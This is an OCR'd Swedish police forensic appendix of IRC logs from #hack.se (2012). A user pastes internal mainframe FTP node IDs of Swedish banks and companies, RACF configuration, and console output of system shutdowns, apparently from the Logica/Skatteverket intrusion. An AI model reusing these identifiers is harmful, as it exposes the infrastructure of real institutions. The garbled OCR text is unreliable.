201 2-03-29 21 :42 1 8  <IL!> KOMMANDO ���> down 
201 2-03-29 2 1  :42 1 8  <IL!> Tabel len uppdaterad : 1 2/03/01 06 :00 : 1 1 SCROLL ���> PAGE_ 

201 2-03-29 21 :42 1 8  <IL!> Bl{ddra fram}Vbak}t med pf8/pf7 
201 2-03-29 21 :42 1 8  <IL!> J System N ode id Systyp Luid 
201 2-03-29 21  :42 1 8  <IL!> ' @STG•T A ENSKILDA BAN K  OEB MVS DBPENFAO 
201 2-03-29 21 :42 1 8  <IL!> j @STG•TA ENSKILDA BANK OEB MVS SEOEBP01 
201 2-03-29 21  :42 1 8  <IL!> ABB (WM-DATA) ABB MVS A02FTP01 
201 2-03-29 2 1  :42 1 8  <IL!> ADB KONTORET G•TEBORGS KOMMUN ADB MVS 

DVGLU01 
201 2-03-29 21  :42 1 8  <IL!> AMF PENS IONSF•RS{KRING AMF MVS AMFFTP2 
201 2-03-29 2 1  :42 1 8  <IL!> ARLA (WM-DATA) ARLA MVS A1 KNFTP1 
201 2-03-29 2 1  :42 1 8  <IL!> BANKG I ROCENTRALEN BGC MVS SEBGCNV1 
201 2-03-29 2 1  :42 1 8  <IL!> B ILSPEDITION SEMA SYD DAFASYD MVS B ISNFTP2 

201 2-03-29 21  :42 1 8  <IL!> C DETALJ IST BURKEN DETALJ IS OS4 L4C4LU03 
201 2-03-29 21  :42 1 8  <IL!> l C D IRECTUS BURKEN D I REKTUS OS4 L4C2LU03 
201 2-03-29 2 1  :42 1 8  <IL!> � C GROSSIST BURKEN GROSSIST OS4 L4C3LU03 
201 2-03-29 2 1  :42 1 8  <IL!> l C VENANTIUS PROD VENPRO OS4 07322900 
201 2-03-29 2 1  :42 1 8  <IL!> CFD G{VLE CFD MVS CFDFTP02 
201 2-03-29 2 1  :42 1 8  <IL!> CRS (CELS IUS) CRS MVS FTPAFF1 3 
201 2-03-29 21 :42 1 8  <IL!> System N ode id Systyp Luid 
201 2-03-29 2 1  :42 1 8  <IL!> CRS (CELS IUS) CRS MVS FTPAFF1 1 
201 2-03-29 21 :42 1 8  <IL!> DATARUTIN DARU MVS DARUFTP2 
201 2-03-29 2 1  :42 1 8  <IL!> ' EDS EDS MVS EDSNFTP1  
201 2-03-29 21  :42 1 8  <IL!> ELLOS ELLOS MVS SEELLFTP 
201 2-03-29 2 1  :42 1 8  <IL!> l ENATOR SKELLEFTE} CELSKL MVS A01 FTP01 
201 2-03-29 21  :42 1 8  <IL!> ENATOR SKELLEFTE} ENATORN MVS A01 FTP01  
201 2-03-29 2 1  :42 1 8  <IL!> l ENATOR STOCKHOLM ENATOR MVS A09NVFTX 
201 2-03-29 21 :43 1 8  <IL!> ER ICSSON EDT EDTJES3 MVS FTPA4EDS 
201 2-03-29 21  :43 1 8  <IL!> ER ICSSON EDT EDTJES3 MVS FTPA2EDS 
201 2-03-29 2 1  :43 1 8  <IL!> ER ICSSON EDT EDT MVS ER IFTP02 
201 2-03-29 21  :43 1 8  <IL!> ER ICSSON EDT VM LMES ED TVM VM N FTPS2 
201 2-03-29 2 1  :43 1 8  <IL!> F INANSRUTIN DAT A AB (WM-DATA) FRD VSE FRDFTP1  

201 2-03-29 2 1  :43 1 8  <IL!> l GOTA BANKEN GOTA MVS N FTPSV01 
201 2-03-29 21  :43 1 8  <IL!> ' HALENS (CAP) HALENS MVS SEN DSAF2 
201 2-03-29 2 1  :43 1 8  <IL!> l System Nodeid Systyp Luid 
201 2-03-29 21  :43 1 8  <IL!> HAN DELSBANKEN F INANS TEST H FTEST OS4 R024FTP 

201 2-03-29 21  :43 1 8  <IL!> j l CA l CA MVS AICAFTPR 
201 2-03-29 21  :43 1 8  <IL!> I F  I F  MVS N FTP IF06 
201 2-03-29 2 1  :43 3 1  3 0  nej ,  den hade jkaag missat 
201 2-03-29 21  :43 1 8 �<1Lt> I F  I F  MVS N FTP IF04 
201 2-03-29 21  :43 1 8  <IL!> IF IF MVS N FTP I F02 
201 2-03-29 21  :43 1 8  <IL!> I FTEST I FTEST MVS TFTP IF06 
201 2-03-29 2 1  :43 1 8  <IL!> I FTEST I FTEST MVS TFTPIF04 
201 2-03-29 21  :43 1 8  <IL!> I FTEST I FTEST MVS TFTPIF02 
201 2-03-29 21  :43 1 8  <IL!> I N FODATA SYS1 9 I N FODATA MVS S E I D FTP2 
201 2-03-29 21  :43 1 8  <IL!> LANTBRUKSDATA LO MVS SELDFTP2 
201 2-03-29 21  :43 1 8  <IL!> LF BAN K  LWBA OS4 LWBAN KT 
201 2-03-29 21 :43 1 8  <IL!> LOCAL SERVER CSN MVS CSNFTP01 
201 2-03-29 21  :43 1 8  <!L l> l LOCAL SERVER DAFAS MVS DAFFTP03 
201 2-03-29 21  :43 1 8  <IL!> ' LOCAL SERVER DAFAS MVS DAFFTP01  
201 2-03-29 21  :43 1 8  <IL!> ' System Nodeid Systyp L u id 
201 2-03-29 21  :43 1 8  <IL!> POSTEN POSTEN MVS SENBFT92 
201 2-03-29 21  :43 1 8  <IL!> l PS DATA AB (WM-DATA) PSDAPO MVS PSDNFT04 
201 2-03-29 21  :43 1 8  <IL!> PS DATA AB (WM-DATA) PSDBANK MVS PSDN FT02 

201 2-03-29 21  :43 1 8!<tlt> � RFV SUNDSVALL RFV VM RFVFTPR 
201 2-03-29 2 1  :43 1 8  <IL!> S-E BANKEN SEB MVS SEBFTPP4 
201 2-03-29 21 :43 1 8  <IL!> l S-E BANKEN SEB MVS SEBFTPP2 
201 2-03-29 21  :43 1 8  <lll> j SBAB SBAB OS4 SBABFTPP 
201 2-03-29 21 :43 1 8  <IL!> SEMA G•TEBORG SYS6 MVS DCSFTP02 
201 2-03-29 21  :43 1 8  <IL!> i SEMA G•TEBORG DCSYD MVS DCSFTP02 
201 2-03-29 21  :43 1 8  <IL!> SEMA SUN DSVALL SEMASVL MVS FTP02N 1 P  
201 2-03-29 21  :43 1 8  <IL!> SEMA SUN DSVALL DCSVL MVS FTP02 N 1 P 
201 2-03-29 21 :43 1 8  <IL!> ' SH ELL SH ELL MVS STA3FTP2 
201 2-03-29 21  :43 1 8  <IL!> SJ SJ MVS SJNFTP03 
201 2-03-29 21  :43 1 8  <IL!> ' SKAN DIA SKAN DIA MVS N FTPSK04 
201 2-03-29 21  :43 1 8  <IL!> System N ode id Systyp Luid 
201 2-03-29 21  :43 1 8  <IL!> l SKAN DIA SKAN DIA MVS N FTPSK02 
201 2-03-29 21  :43 1 8  <lll> SKAN DIA XSKAN DIA MVS FTPSKP02 

Bi laga Passagen.2  - Sammanstäl ln ing av xchat2.xlsx 

020 1 -K81 864- 1 2  468 

Nätverk Kanal/Person/Fil 

EFnet #hack. se. lxt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 

New Network tlt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network llt.txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network l ll .lxt ( 1 652) 
New Network tlt .txt ( 1 652) 

New Nelwork t lt .txl ( 1 652) 
New Network t lt .txt (1 652) 
New Network tlt .txl ( 1 652) 
New Network tlt .txt ( 1 652) ; 
New Network t lt .txl ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt (1 652) 
New Network llt .txt ( 1 652) 
New Network l lt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network l lt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Nelwork t lt .txl ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txl ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 

New Network tlt .txt ( 1 652) 
New Nelwork llt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network tlt .txl ( 1 652) 

New Network tlt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt (1652) 
New Network tlt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network t lt .txt ( 1 652) -
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) -
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network I l  ! . lxt ( 1 652) 

01 .00 



Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iarienr: 0201 -K8 1 864-1 2 
Länskri m ina lpol isavdeln ingen, Il-forensiska sektionen 201 2-05-21 020 1 -K81 864- 1 2 469 

Datum 

201 2-03-29 21  :43 
201 2-03-29 2 1  :43 
201 2-03-29 21  :43 
20 1 2-03-29 21  :43 
201 2-03-29 21  :43 
201 2-03-29 21  :43 

201 2-03-29 21  :43 
201 2-03-29 2 1  :43 
201 2-03-29 21  :43 
201 2-03-29 2 1  :43 
201 2-03-29 21  :43 

201 2-03-29 2 1  :43 

201 2-03-29 2 1  :43 
201 2-03-29 21  :43 

03-29 21 :55 

201 2-03-29 22: 1 4  
201 2-03-29 22 : 1 4  
201 2-03-29 22: 1 4  

201 2-03-29 22 : 1 7  

Användare 

1 81<1LI> 
1 8  <ILI> 
1 8  <ILI> 
1 8  <ILI> 
1 8  <ILI> 
1 8  <ILI> 

1 8  <ILI> 
1 8  <IL!> 
1 8  <IL!> 
1 8  <ILI> 
1 8  <ILI> 

1 8  <IL!> 

1 8  <ILI> 
1 8  <ILI> 

Chatmeddelande 

SKAN DIA SKAN DIA MVS N FTPSK06 
SKAN DIA TEST XSKATEST MVS FTPSKT02 
SKANDIA TEST SKATEST MVS T FTPSK06 
SKAN DIA TEST SKATEST MVS TFTPSK04 
SKANDIA TEST SKATEST MVS TFTPSK02 
SPADAB STOCKHOLM SPADAB MVS AEFTP20S 

SPP SPP MVS 
STADSHYPOTEK HYP2 
STADSHYPOTEK HYPO 
STADSHYPOTEK HYPO 
STOCKHOLMS STADS DATA SERVICE 

N FTPSSD1 

SESPPFT2 
MVS G N FTP02 
MVS JSHFTP23 
MVS JSHFTP21 

SSDS MVS 

SVENSKA HAN DELSBANKEN SHB MVS SESHBX02 

Systyp Luid 

New Network tlt.txt (1 652) 

New Network tlt .txt ( 1 652 
SHBTEST MVS SESHBXOO New Network tlt .txt ( 1 652) 

F1 1 =R IGHT 

tlt.txt ( 1 652) 

New Network tlt .txt ( 1 652) 

rafikkort forren -97 

30 jag körde fan allt i terminalen nästan fast jag körde x, skada ifrån msdos tiden =) 

enda X duger t i l l  ju h New Network tlt .txt ( 1 652) 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 01 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarien r: 020 1 -K8 1 864- 1 2 
Länskri minalpol isavdel ningen, Il-forensiska sektionen 201 2-05-21 

201 2-03-29 22 : 1 9 1 
WORKSPACE(STORCLAS(STV) MGMTCLAS(STVKEEP)) 
PROTOCOL(APPC(LUNAME(RACFWS22) TPNAME( IRRRACF) 
MODENAME( IRRMODE)))  DESCRIPTION('REMOTE SYSTEM WS22') 
OPERATIVE 
TARG ET NODE(DKI 1 )  PREFIX(D384 .RRSF) WDSQUAL(SYS6) 
WORKSPACE(STORCLAS(STV) MGMTCLAS(STVKEEP))  
PROTOCOL(APPC(LUNAM E(RACFDKI 1 )  TPNAME( IRRRACF) 
MODENAME( I RRMODE)))  DESCRIPTION( 'REMOTE SYSTEM SYS6') 
OPERATIVE 
TARG ET NODE(BDA 1 )  PREF IX(D384 .RRSF) WDSQUAL(SYSB) 
WORKSPACE(STORCLAS(STV) MGMTCLAS(STVKEEP))  
PROTOCOL(APPC(LUNAME(RACFBDA 1 )  TPNAME( IRRRACF) 
MODENAME( IRRMODE)))  DESCRIPTION( 'REMOTE SYSTEM SYSB') 

T l VE 
T ARG ET NODE(DCP) PREFI  
WORKSPACE(STORCLAS(STV) MGMTCLAS(STVKEEP))  
PROTOCOL{APPC(LUNAME(RACFDCP) TPNAME( IRRRACF) 
MODENAME( IRRMODE)))  DESCRIPTION( 'REMOTE SYSTEM DCP') 
OPERATIVE 

Terminal : TCPI0365 

Datum : 23/03/1 2 

PF1 1 = - - - > H=Kommando-hj( lp 

Bilaga Passagen.2 - Sammanstäl ln ing a v  xchat2 .xlsx 

0201 -K81 864-1 2 4 ]Q 

New Network t lt .txt ( 1 652) 

New Network tlt.txt ( 1 652) 

New Network t lt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

New Network tlt .txt ( 1 652) 

01 .00 



Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iar ienr:  020 1 -K8 1 864- 1 2 
Uinskrimi nalpol isavdeln ingen, Il-forensiska sektionen 201 2-05-21 0201 -K81 864- 1 2  47 1 

<. 

201 2-03-29 22:45 1 8  <ILI> SPACE FOR SUBSYSTEM DSN1 IS STOPPING New Network tlt .txt 
201 2-03-29 22:45 1 8  <IL!> IEF3521 ADDRESS SPACE UNAVAILABLE New Network tlt .txt 
201 2-03-29 22:45 1 8  <ILI> CSV2 1 0 1  L IBRARY LOOKAS IDE ENDED New Network t lt .txt 
201 2-03-29 22:45 1 8  <ILI> DSNX923 1 - DSN3AMT3 ALL STORED PROCEDURE ADDRESS New Network t lt .txt 
201 2-03-29 22:45 1 8  <ILI> SPACES ARE NOW D ISCONN ECTED FROM DB2 New Network t lt .txt 
201 2-03-29 22:45 1 8  <ILI> VT AMAP1 01 lssuin F C ICSA,CEMT P SHUT 1" . "  New Network t lt .txt 
201 2-03-29 22:45 1 8  <ILI> VTAMAP1 1 1  Pausin 1 0  seconds . . .  New Network t lt .txt 
201 2-03-29 22:45 1 8  <ILI> VTAMAP1 O l lssuin P TCPIP" . "  New Network t lt .txt 
201 2-03-29 22:45 1 8  <ILI> VT AMAP1 1 1  Pausin 5 seconds . . .  
201 2-03-29 22:45 1 8  <ILI> IEF3521 ADDRESS SPACE UNAVAILABLE 
201 2-03-29 22:45 1 8  <ILI> VT AMAP1 01 lssuin P SDSF"."  
201 2-03-29 22:45 1 8  <IL l> VT AMAP1 1 1  Pausing 5 seconds . . .  
201 2-03-29 22:45 1 8  <ILI> IS F7251 SDSF shutdown in ro ress for server SDSF.  
201 2-03-29 22:45 1 8  <IL!> +CSQX251 1 %CSQ1 CSQXSTRL Listener started, TRPTYPE= TCP 

IND ISP=OMG R 
201 2-03-29 22:45 1 8  <ILI> +CSQX220E %CSQ1 CSQXLSTT Communications network not available, New Network tlt .txt 
201 2-03-29 22:45 1 8  <ILI> channel ????,  New Network t lt .txt 
201 2-03-29 22:45 1 8  <ILI> TRPTYPE=TCP New Network tlt .txt 
201 2-03-29 22:45 1 8  <ILI> +CSQX234 1 %CSQ1 CSQXLSTT Listener stopped , TRPTYPE= TCP New Network tlt . txt ( 1 652) 

IND ISP=OMG R 
201 2-03-29 22:45 1 8  <ILI> IEF3521 ADDRESS SPACE UNAVAILABLE New Network t lt .txt 1 652 
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Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iar ienr :  020 1 -K8 1 864- 1 2 
Länskrim i nalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

hack.se l purged 
201 2-03-29 23 : 1 5  1 8  <noah_> även om det f inns /robots.txt som disal lowar search engines så tänkte jag det 

var onödigt att den var publ ik 
201 2-03-29 23 : 1 6 1 8  kscrm> n ice 
201 2-03-29 23 : 1 8  1 8  �<:scrm> http ://www.dn.se/nyheter/sverige/prinsessan-madeleine-ledsen-over-skriverier 

201 2-03-29 23 : 1 8  1 8  <Scrm> = ( 
201 2-03-29 23 : 1 8  1 8  <urandom> scrm's URL tit le: Pr insessan Madeleine ledsen över skriverier - DN .SE 
201 2-03-29 23:24 1 8  !<scrm> gött mos nyhetsrapporter ing 
201 2-03-29 23:25 1 8  <scrm> varannan dag är det det värsta är över", varannan dag är det "slutet är nära"" 
201 2-03-29 23:25 1 8  <Scrm> slutet" som i ful lständig ekonomisk kol laps då" 
201 2-03-29 23:28 1 8  <scrm> derp 
201 2-03-29 23.55 22 . Dtsconnected (Connectton reset by peer) . 
201 2-03-29 23:55 22 . Disconnected (Connection reset by peer) . 
201 2-03-29 23:55 22 . Disconnected (Connection reset by peer) . 
201 2-03-29 23:55 22 . Disconnected (Connection reset by peer) . 
201 2-03-29 23:55 22 . Disconnected (Connection reset by peer) . 
201 2-03-29 23:55 22 . 
201 2-03-29 23:55 3 1 " d i ROX sets mode +i d i ROX ffi' 30 där? 
201 2-03-29 23:55 1 9 . 
201 2-03-29 23:55 29 . 

201 2-03-29 23:55 29 . 

201 2-03-30 00:05 1 8  <noah > 
201 2-03-30 00:09 1 8  <flashn> 
201 2-03-30 00:09 18 <noah > 
201 2-03-30 00:09 18 <Nih i iUS> 
201 2-03-30 00:1 o 1 8  <flashn> 
201 2-03-30 00 : 1  o 1 8  <flashn> 
201 2-03-30 00:1  o 1 8  <flashn> 
201 2-03-30 00 : 1 1 1 8  <noah > 
201 2-03-30 00 : 1 1 1 8  <Nih i iUS> 
201 2-03-30 00 : 1 1 1 8  <flashn> 
201 2-03-30 00 : 1 1 1 8  <Nih i iUS> 
201 2-03-30 00 : 1 1 1 8  <Nih i iUS> 
201 2-03-30 00 : 1 1 1 8  <flashn> 
201 2-03-30 00:1  3 1 8  <Nih i iUS> 

201 2-03-30 00 : 1 4  1 8  <Nih i iUS> 
201 2-03-30 00 : 1 4  1 8  <noah_> 

201 2-03-30 00: 1 4  1 8 <Urandom> 
201 2-03-30 00: 1 4  1 8  <noah > 
201 2-03-30 00 : 1 5  1 8 <Zeotrope> 
201 2-03-30 00 : 1 7  22 . 
201 2-03-30 00:29 1 8  <noah > 
201 2-03-30 00:29 1 8  <noah_> 

201 2-03-30 00:29 1 8  <urandom> 

1 9  Now talking on #hack. se 
29Topic for #hack.se 29is :  http://static.thepiratebay.org/legal/sopa.txt l b irdie 
1 7/5-20/5 
29Topic for #hack.se 29set by sbtr_Hrc@faust . lysator . l i u .se 29at Thu Mar 1 5  
22:20:24 20 1 2  
flashn :  hur var maskinen? 
drog när dom började typ 
ahvafan : D  
flashn :  ja? 
N ih i lus ,  trodde du var newbie för ett tag 
men det var sbtr 
noah , verkar vara n ice album dock 
ska poppa l ite nu 
flashn :  Hjälp mig att göra en låt åt ATR istället 
vad är ATR? 
Atari Teenage Riot 
de tyckte jag skul le göra en låt åt dem på min STE 
hehe 
Vissa dagar skrämmar man sig sjv, hade gjort en fet backport av massa WiF i 
kod i ·an 
revert'ade den och brickade 8 enheter pga ngn struct 
http://www.dn .se/kultur-noje/skivrecensioner/maskinen-framgang--efterfragan 

noah 's URL  tit le: Maskinen :  ?Framgång & efterfrågan? - DN .SE  
wtf. 4 :a av  vaddå? 
5 
lerornatic is now known as hen rik 
ch e q 
http:!/blog.whoa.nu/201 2/03/29/gri l lspetskompetens-dokumentaren-om
maskinen/ 
noah_'s URL tit le: Gr i l lspetskompetens ? Dokumentären om Maskinen l Whoa 
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EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 

EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt (1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
New Network deka.txt ( 1 648) 
New Network hapan.txt ( 1 649) 
New Network tlt .txt ( 1 652) 
EFnet #hack.se.txt ( 1 630) 
EFnet t lt .txt ( 1 640) 
New Network deka.txt ( 1 648) 
New Network deka.txt ( 1 648) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 

EFnet #hack.se.txt ( 1 630) 

EFnet #hack.se .txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 

EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 

EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 
EFnet #hack.se.txt ( 1 630) 

EFnet #hack.se.txt ( 1 630) 

0 1 .00 
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Datu m Användare 

201 2-03-30 00:41 1 8  <snocrash> 
201 2-03-30 00:41 1 8  <Snocrash> 

201 2-03-30 00 :45 
201 2-03-30 00 :45 
201 2-03-30 00 :45 
201 2-03-30 00:45 

201 2-03-30 00:45 18 <snocrash> 
201 2-03-30 00:46 1 8  <IL!> 
201 2-03-30 00 :46 1 8  <IL!> 

201 2-03-30 00:46 1 8  <IL!> 

201 2-03-30 00:46 1 8  <IL!> 

201 2-03-30 00 :46 1 8  <IL!> 
201 2-03-30 00:46 1 8  <SCrm> 
201 2-03-30 00 :47 1 8  <snocrash> 

:-03-30 00:47 
� . .2-03-30 00 :47 

201 2-03-30 00 :47 
201 2-03-30 00 :48 
201 2-03-30 00 :48 
_., � ,  :2-03-30 00 :48 

-03-30 00 :48 1 8  <noah > 
<ev 1 2-03-30 00 :48 1 8  <noah > 
201 2-03-30 00:48 18 <Urandom> 
201 2-03-30 00 :48 1 8  <Urandom> 

l 
l 
l 

J 

201 2-03-30 00 :48 1 8  t<scrm> J 
201 2-03-30 00:48 1 8  <noah > 

201 2-03-30 00:48 
201 2-03-30 00 :48 
201 2-03-30 00:48 
201 2-03-30 00 :48 
201 2-03-30 00:48 
201 2-03-30 00 :48 
201 2-03-30 00:49 

201 2-03-30 00:49 
201 2-03-30 00 :49 
201 2-03-30 00:49 
201 2-03-30 00 :49 
201 2-03-30 00:49 
20<  '<-03-30 00:50 23 * 

03-30 00:53 1 8  <snocrash> 
�" , ,;-03-30 00:54 18 <Snocrash> 
201 2-03-30 00:54 1 8  <snocrash> 
201 2-03-30 00:54 18 <noah > 
201 2-03-30 00:55 1 8  <noah > 
201 2-03-30 00:55 1 8  <noah > 
:?' ' ·03-30 00:57 1 8  <Snocrash> 

03-30 00:57 18 <snocrash> 
201 2-03-30 00·57 1 8  <Snocrash> 
201 2-03-30 00:59 18 <Snocrash> 
201 2-03-30 0 1  :00 1 8  <Scrm> 
201 2-03-30 o 1 :00 1 8  <Scrm> 

201 2-03-30 0 1  :01 1 8  <SCrm> 
201 2-03-30 0 1  ·o2 1 8  <snocrash> 
201 2-03-30 01  :03 1 8  <snocrash> 
201 2-03-30 0 1  :03 1 8  <scrm> 
201 2-03-30 01  :03 1 8  <ser m> 

201 2-03-30 01  :03 1 8  <Scrm> 

201 2-03-30 0 1  :03 1 8  <ser m> 
201 2-03-30 01  :04 18 <snocrash> 
201 2-03-30 0 1  :04 1 8  <snocrash> 
201 2-03-30 01  :04 18 <snocrash> 
201 2-03-30 01  :04 
201 2-03-30 01  :04 
201 2-03-30 01  :04 1 8  <snocrash> 

Chatmeddelande 

morrn 
kaffe? 
en sjuk grej 
vaknat med samma lat n nnandes i huvudet . . .  3 dagar pa raken 

jag vet i nte vem det ar el ler var jaQ hor! den 
För dig med skyddade personuppgifter 
Om du känner oro med anledning av de uppg ifter om dataintrånget som 
förekommit i media ska du i första hand kontakta d in skyddshandläQQare. 
l annat fall är du välkommen att kontakta Skatteverket på telefon 020- 1 20 00 99. 

Öppettider för telefonnumret är måndag - fredag k l .  07.00 - 21 .00 samt lördag -
söndag k l .  09.00 - 1 5 .00 .  
V id  eventuellt akut  hot  e l ler  fara r ing 1 1 2 . 
tU:  asså, tjöta 
nej ,  Jag v1 l l  veta 
vad har varit i media? 
han har pasteat mediadrev kring skatteverket-hacket (el ler logica-hacket är det 
väl e entl i  en 

Nätverk 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

EFnet 

EFnet 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

noah 's URL lille: Top Gun - H ighway to the Dangerzone - YouTube EFnet 
Dupe! wrt var först ( 1 49w2d1 3h8m1 5s sen) ,  k l istrad totalt 1 gånger, senast för EFnet 
1 49w2d1 3h8m 1 5s sen 

seriöst, en mi l l isekund före 
DU PASTADE FORE M IG 
ah  du snackar 
säkert 59 sekunder före 
försök i nte släta över det 

23darknite has qu it (23Ping timeout 499 seconds23) 
scrm: haha, exakt den 
men jag har i nte sett top gun pa 1 O ar 
sa what the fuck 
amen skjutmig 
by1te lösenord på en dator för en stund sedan 
nu kan jag inte logga in  längre 
H I I I IGHWAAAAY 
TO THE . . . .  
DANGERZONE I  
cappucino ! 
du är som kenneth i 30 rock när han får en kaffemaskin vid s in arbetsplats 
han drack inte kaffe i nnan (l don! dr ink hot l iquids of any k ind,  that's the devils 
temperature") men sen när kaffemaskinen kommer så dricker han för mycket 
kaffe och får nån slaQs koffein  psykos" 
inga äggmackor f igurerar i 30 rock vad jag vet dock .. det är väl ski l lnaden 
jag kan mte s luta kol la pa den dar ha)bt lden 
ser inte ut som en shop 
det sköna vore ju om personen som wakear i nte vet om det 
hajen måttade väl typ och missade eftersom wakeboarden åker rätt snabbt 
framåt 
skön grej att få återberättad när man kommer t i l l  land . .  el ler b l i  visad bi lden :D 

look dude"" 

snocrash : du borde räkna om statistiken lite 
jag tankte ta en slappar dag idag 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

EFnet 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
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Kanal/Person/Fil 

#hack.se.txt ( 1 630) 

#hack.se.txt ( 1 630) 

#hack.se.txt ( 1 630) 

#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt 1 630 
#hack.se.txt ( 1 630) 

#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack. se.txt ( 1 630) 

#hack.se.txt ( 1 630 
#hack. se. lxt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack. se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack se lxt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 

#hack. se.txt ( 1 630) 
#hack se lxt ( 1 630) 
#hack. se.txt ( 1 630) 
#hack. se.txt ( 1 630) 
#hack.se.txt ( 1 630) 

#hack.se.txt ( 1 630) 

#hack.se.txt ( 1 630) 
#hack. se. lxt ( 1 630) 
#hack. se.txt ( 1 630) 
#hack. se.txt ( 1 630) 
#hack.se.txt 1 630 
#hack.se.txt 1 630 
#hack.se.txt ( 1 630) 

01 .00 
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Datu m 

201 2-03-30 01 :04 

201 2-03-30 01 :04 
201 2-03-30 01 :05 
201 2-03-30 0 1 :05 1 8  <snocrash> 
201 2-03-30 0 1  :05 18 <snocrash> 
201 2-03-30 0 1  :05 1 8  <snocrash> 
201 2-03-30 0 1  :06 1 8 <snocrash> 

201 2-03-30 0 1  :06 
201 2-03-30 0 1  :06 
201 2-03-30 0 1  :06 1 8 <Snocrash> 
201 2-03-30 0 1  :06 1 8  <snocrash> 
201 2-03-30 0 1  :06 
201 2-03-30 0 1  :06 
201 2-03-30 0 1  :06 1 8  <snocrash> 
201 2-03-30 0 1  :07 1 8l<scrm> 
201 2-03-30 01 :07 1 8  <snocrash> 
201 2-03-30 0 1  :07 1 8  <snocrash> 

201 2-03-30 0 1  :07 1 8  [<scrm> 

201 2-03-30 01 :07 1 8  f<scrm> 
201 2-03-30 01 :08 1 8  <Scrm> 
201 2-03-30 0 1  :08 1 8  <scrm> 
201 2-03-30 0 1  :08 1 8  <Snocrash> 

201 2-03-30 0 1  :08 
201 2-03-30 01 :08 
201 2-03-30 0 1  :08 
201 2-03-30 0 1 :08 
201 2-03-30 0 1  :08 
201 2-03-30 0 1  :09 

